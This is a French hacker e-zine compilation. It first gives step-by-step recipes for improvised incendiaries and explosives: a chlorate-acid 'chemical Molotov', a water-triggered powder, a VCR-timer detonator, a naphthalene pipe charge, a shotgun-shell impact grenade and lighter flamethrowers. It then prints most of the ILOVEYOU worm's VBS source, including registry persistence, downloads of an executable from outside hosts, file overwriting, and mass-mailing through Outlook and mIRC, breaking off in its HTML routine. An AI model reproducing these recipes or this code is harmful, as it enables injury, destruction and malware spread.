************************************************
<<<--->>> On ne vous incite en aucun ca à faire quoi que ce soit suite à la lecture de ces articles. Consultez les dans un but informatif uniquement. Nous ne pourrions en aucun cas etre tenus responsables de vos actes suite à la lecture de ce zine <<<--->>>
<<<--->>>Faites vraiment gaffe ici, c'est tres dangereux...<<<--->>>
En fait ce sont plusieurs petits articles et je les ai mis ensemble parce qu'ils etaient tous du meme auteur.
DESTROY THE DISCLAIMER
bon je suis sur qu'a force de lire tout ce qui concèrne les explosifs
y en a certains qui veulent se lancer dans la fabrication des explosifs
'bombes' moins simples...il faut un peu se préparer si on ne veut pas finir
comme certains cons qui se croivent immortels et qui en ramassent
grave...en plus le matériel est pas cher et simple a trouver alors que
demander de plus...
contre les brulures aux niveaux des mains utilisez des gants ignifugé donc
contre le feu cherchez ça dans un brico ou autres dans le meme genre...
contre les éclats le meilleur le masque de soudeur est le meilleur mais pour
trouver ça...alors utilisez des lunettes de protections ils en vendent dans
les brico.
contre les gaz en tout genre prenez un masque c'est vraiment pas cher du
tout et c'est vraiment utile...
bon ben pour le matos c'est tout mais pour les explosifs en eux meme
il faut faire preuve d'un peu d'imagination pour créer des réactions en
chaine des pièges etc...c'est comme ça que l'ont se perfectionne(ça
dépend...)bon pour le DESTROY DISCLAIMER c'est fini...
ARTICLE 1
*********
"UNE AUTRE VISION DU MONDE"
1)coktail molotov chimique-
il te faut:
une bouteille(les petites bouteilles perrier sont parfaite)
un morceau de tissu(une petite bande)
chlorate de potassium(très simple a trouver comme produit)
sucre(ou sucre glace)
essence(pour de meilleur résultat prend du kerosène)
de l'acide sufurique.
colle ou vernis a ongle
-----------------------------FABRICATION-----------------------------
verse dans la bouteille(vide)l'acide sulfurique et l'essence a part
égale.ferme BIEN la bouteille.prend le chlorate de potassium et
mélange le avec le sucre (a part égale).prend le tissu et répend de
la colle ou du vernis sur une surface puis répend le mélange chlorate
de potassium + sucre dessus.prendre le tissu et enroule le autour de la
bouteille.
----------------------------DéTONATION--------------------------------
cet 'explosif' agi comme un coktail molotov il suffit de le lancer.
l'avantage est qu'il n'y a pas de flamme on peut le tenir aussi longtemps
que l'on veut et on le remarque rarement
EXPLICATION:la bouteille se brise l'acide sulfurique réagit violemment
avec le tissu sur lequel est repandu le chlorate de potassium et le
sucre.ce qui donne des flammes qui sont entretenues (encore +)par
l'essence(ou le kérosène)
ARTICLE 2
*********
"LoS SIn NoMBrE"
2)explosif sensible a l'eau
nirate d'ammonium -4 part-
zinc -2 part-
chlorure d'ammonium -1 part-
--------------------------FABRICATION---------------------------------
il suffit de mettre tout cela ensemble et de le réduire en poudre.
ATTENTION ce produit réagit a l'eau donc a l'humidité il vaut mieux etre
bien au sec et ne pas transpirer(il suffit que ton doigt soit humide et ça
l'allume).
ARTICLE 3
*********
"..............."
3)DeTONATEUR
un magnetoscope
-------------------------FABRICATION----------------------------------
il suffit d'ouvrir le magnetoscope(fais ça doucement)
vérifie les fils il y en a un ou deux qui sont relié a l'alarme
(branche la et regarde quel fils sont connecté)
-------------------------EXPLICATION----------------------------------
l'alarme mise en route a l'heure programmée un courant électrique (continu
ou non)vas passer dans les fils connectés.
pour en faire un détonateur il faut dénuder les fils (de l'alarme)
les couper et les placer dans l'explosif choisi.une fois en route
l'alarme vas faire passer le courant qui vas passer dans l'explosif.
ARTICLE 4
*********
"TOLLE & LEGE"
4)recettes maisons
vaseline (ou parafinne)
chlorate de potassium
moulin a café électrique(je l'utilise pour presque tout les mélanges c'est
vraiment parfait pour les mélanges)
---FABRICATION---
il suffit de mélanger tout cela pour que cela donne une pate homogène
---EXPLICATION---
pour l'allumer on peut placer une mèche ou untiliser le mélange sensible a
l'eau mais dans ce cas il vaut mieux utiliser la parafinne
car la vaseline contient de l'eau et ce garde beaucoup moins bien.
carbure de calcium
de l'eau
super socker (ou autre fusil a eau a longue portée)
briquet éléctrique + scotch
---FABRICATION---
prendre le briquet et le bloquer pour qu'il reste allumé.le scotcher
au bout du canon.
---EXPLICATION---
pour le faire fonctionner met quelque pierres de carbure de calcium
(pas trop ce n'est pas ça qui va donner de + grandes flammes)et verse
un peu d'eau dessus puis remet assez vite le reservoir sur le fusil et
remet le a fond.le carbure de calcium réagit a l'eau quand il entre en
contact avec de l'eau il forme de l'acétylène un gas extrement
inflammable.ce qui fait que quand on appuie sur la gachette il résulte un
petit lance flamme.
ARTICLE 5
*********
plan de l'explosif
(charge de naphtaline)
|--------|
| |-Naphtaline
| |
| |
| |
|--------|-Naphtaline + poudre a canon
|--------|
° |poudre a canon
|--------|petit rond en carton
| |
| |pate colle tout(ou epoxy)
|--------|
°=trou pour la mèche
DESTRUCTION(1)
(tout pour détruire)
charge de naphtaline : c'est un explosif très simple qui peut se réveler très utile.
un petit tuyau en acier(former un petit trou pour la mèche)
de la naphtaline (on en utilise dans les gardes robes ce sont les boules blanches contre les mites.maintenant toutes les petites boules blanches ne sont plus seulement de la naphtaline il faut bien verifier)
poudre a canon(noire) (cartouche de shotgun ou gros petard)
petit rond en carton(du diamètre exact du tuyau)
de la colle epoxy(ou une pate 'colle tout' ça ce vend chez brico c'est plus
facile avec ça)
une mèche.
prendre la pate colle tout ou la colle epoxy et boucher un des cotés (environs 2 cm) puis entrer le petit rond en carton de l'autre coté pour qu'il touche la pate colle tout (ou l'epoxy).faire tomber environs 2.5 cm de poudre a canon puis faire entrer la mèche dans le trou qui a été
former ce qui fait que la mèche se trouve dans la poudre a canon. faire tomber un mélange de 3 part poudre a canon/7 part de naphtaline (environs 1.5 cm)et remplir le reste de naphtaline.le dessus peut etre fermé aussi.le résultat est un explosif qui produit une 'boule de feu'
selon les doses.
DESTRUCTION(2)
tout pour détruire
mini grenade:
c'est vraiment l'explosif le plus simple que je connaisse
mais il peut se réveler très dangereux.
matériel:
une cartouche de fusil de chasse(shotgun)
duct tape(le scotch argenté) ou autres
une bille en métal
construction:
il suffit de mettre la bille sur le "primer"(le bas de la cartouche)
et de la scotchez bien fort.
explication:
dés que la bille lancée assez fort frappe le sol et vas percuter le "primer"
la cartouche vas exploser.
fumigène:
dans certaines circonstance il faut fuir et une petite aide est toujours la
bienvenue...ce fumigène crée un brouillard qui peut se réveler utile.
matériel:
permanganate de potassium
eau oxygenée
fabrication:
il suffit de mettre le permanganate de potassium dans l'eau oxygenée.
"pour plus d'éfficacité il faut bien tester les doses".
briquets
les briquets sont très utiles il peuvent se transformer en différentes
choses bien interessante...
1)lance flamme:
en enlevant une petite partie le briquet peut se transformer un court
instant en lance flamme.
matériel:
deux briquets
fabrication:
enlevez la petite roue du briquet qui permet de gratter pour liberer
le gaz.aussi vite que possible allumez un autre briquet juste devant
pour que le gaz se transforme en flamme.
2)le briquet qui flambe tout 'seul'
c'est vraiment très connu mais ça marche toujours...
le briquet brule jusqu'au réservoir de gaz et la il flambe en relachant tout
le gaz se qui forme une très grosse flamme.ce "truc" peut servir de
détonateur si on a de l'imagination.
matériel:
un briquet électrique
fabrication:
il faut positioner le briquet pour qu'il flambe le bout en plastique.
dés qu'il commence a le bruler il suffit de le poser et d'attendre.
DESTRUCTION(3)
tout pour détruire
mini shrapnel:
ce n'est pas un explosif mais c'est tellement simple.
matériel:
deux boulons
un écrou
des allumettes "strike anywhere" ou allumettes cowboy qui peuvent s'allumer
sur toute les surfaces.
fabrication:
prend un boulon et visse le très très peu a l'écrou.dans le trou qui vient
d'etre formé par le boulon met des tetes d'allumettes (pas trop).
pour finir il faut visser l'autre boulon (doucement pour que les allumettes
ne s'allume pas)sur les tetes d'allumettes bien a fond.
explication:
en lançant cette "mini grenade" un des boulons va pousser les tetes
d'allumettes se qui vas faire pression sur les deux boulons qui vont
forcer l'écrou pour sortir.
fumigène très simple:
dans presque toute les toilettes publique ils mettent des pastilles de
chlore mais ces pastilles peuvent servir a de meilleur choses.
matériel:
de l'antigel
fabrication:
verse un peu d'antigel sur les pastilles et attend(pas dans les toilettes je
sais c'est idiot de dire ça mais y a des crétins)
essaye aussi avec du soufre.
*************************
* 7.Le virus I LOVE YOU *
*************************
<<<--->>> On ne vous incite en aucun ca à faire quoi que ce soit suite à la lecture de ces articles. Consultez les dans un but informatif uniquement. Nous ne pourrions en aucun cas etre tenus responsables de vos actes suite à la lecture de ce zine <<<--->>>
Comme vous le savez, le virus I LOVE YOU est un de ceux qui a cause le plus de degats ces derniers temps, en affectant des tas d'organisations,etc... une fois de plus c'est grace à outlook qu'il se multiplie... C'est un virus (ou plutot un ver) au format VBS (Visual Basic Script) C'est un langage invente par MiKro$oft qui peut etre utilise directement depuis Windows ou inclu dans une page web. Pour creer un fichier vbs, rien de plus simple : il suffit d'un editeur de texte. Petite explication pour ce beau virus : quand on dit qu'il rend inutilisable certains fichiers, en fait il ajoute son code source au fichier alors evidemment on ne peut plus les utiliser. Il se transmet aussi par MIrc en changeant le script.ini du programme.
<--extrait du code-->
if (eq<>folderspec) then
if (s = "mirc32.exe") or (s = "mlink32.exe") or (s = "mirc.ini") or _
(s = "script.ini") or (s = "mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
<--extrait du code-->
Il change l'adresse de demarrage d'Internet Explorer, quand il envoie le message via Outlook, le sujet est ILOVEYOU, le message comprend la phrase kindly check the attached LOVELETTER coming from me. Et le fichier attache est LOVE-LETTER-FOR-YOU.TXT.vbs et comme la plupart des gens n'ont pas choisi l'option "afficher les extensions MS-Dos, ils voient juste LOVE-LETTER-FOR-YOU.TXT...
<--extrait du code-->
if (regad = "") then
set male = out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
<--extrait du code-->
Il cree un fichier LOVE-LETTER-FOR-YOU.HTM qui sera place dans les repertoires sytemes de l'ordi et ce fichier Html, quand il sera lu, lancera le fichier VBS (et oui, grace à MiKro$oft, le VBS peut etre lance dans une page html...)
Ca, c'etait une courte analyse de la source, la voici complete :
<--couper ici-->
rem barok -loveletter(vbe)
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
'Comments begining with ' added by The Hidden May 4 2000
On Error Resume Next
dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
'check the time out value for WSH
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (rr>=1) then
' Set script time out to infinity
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0, "REG_DWORD"
end if
'Create three copies of the script in the windows, system32 and temp folders
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
'Set IE default page to 1 of four locations that downloads an executable.
'If the exectuable has already been downloaded set it to run at the next login and set IE's start page to be blank
regruns()
'create an html file that possibly runs an activex component and runs one of the copies of the script
html()
'Resend script to people in the WAB
spreadtoemail()
'overwrite a number of file types with the script
'if the files are not already scripts create a script file with the same name with vbs extention and
'delete the original file
'mirc client have a script added to send the html file created earlier to a channel
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num, downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread = ""
downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
if (downread = "") then
downread = "c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe") = 1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread & "\WIN-BUGSFIX.exe") = 0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", downread & "\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page", "about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path & "\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext = fso.GetExtensionName(f1.path)
ext = lcase(ext)
s = lcase(f1.name)
if (ext = "vbs") or (ext = "vbe") then
set ap = fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext = "js") or (ext = "jse") or (ext = "css") or _
(ext = "wsh") or (ext = "sct") or (ext = "hta") then
set ap = fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname = fso.GetBaseName(f1.path)
set cop = fso.GetFile(f1.path)
cop.copy(folderspec & "\" & bname & ".vbs")
fso.DeleteFile(f1.path)
elseif(ext = "jpg") or (ext = "jpeg") then
set ap=fso.OpenTextFile(f1.path, 2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path & ".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3 = fso.CreateTextFile(f1.path & ".vbs")
mp3.write vbscopy
mp3.close
set att = fso.GetFile(f1.path)
att.attributes = att.attributes + 2
end if
if (eq<>folderspec) then
if (s = "mirc32.exe") or (s = "mlink32.exe") or (s = "mirc.ini") or _
(s = "script.ini") or (s = "mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub folderlist(folderspec)
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget = regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad
set regedit = CreateObject("WScript.Shell")
set out = WScript.CreateObject("Outlook.Application")
set mapi = out.GetNameSpace("MAPI")
for ctrlists = 1 to mapi.AddressLists.Count
set a = mapi.AddressLists(ctrlists)
x = 1
regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a)
if (regv = "") then
regv = 1
end if
if (int(a.AddressEntries.Count) > int(regv)) then
for ctrentries = 1 to a.AddressEntries.Count
malead = a.AddressEntries(x)
regad = ""
regad = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead)
if (regad = "") then
set male = out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead, 1, "REG_DWORD"
end if
x = x + 1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out = Nothing
Set mapi = Nothing
end sub
sub html
On Error Resume Next
dim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6
dta1= "LOVELETTER - HTML-?TITLE>"&vbcrlf& _
""&vbcrlf& _
""&vbcrlf& _
"-?HEAD>"&vbcrlf& _
"This HTML file need ActiveX Control-?p>
To Enable to read this HTML file
- Please press #-#YES#-# button to Enable ActiveX-?p>"&vbcrlf& _
"-?CENTER>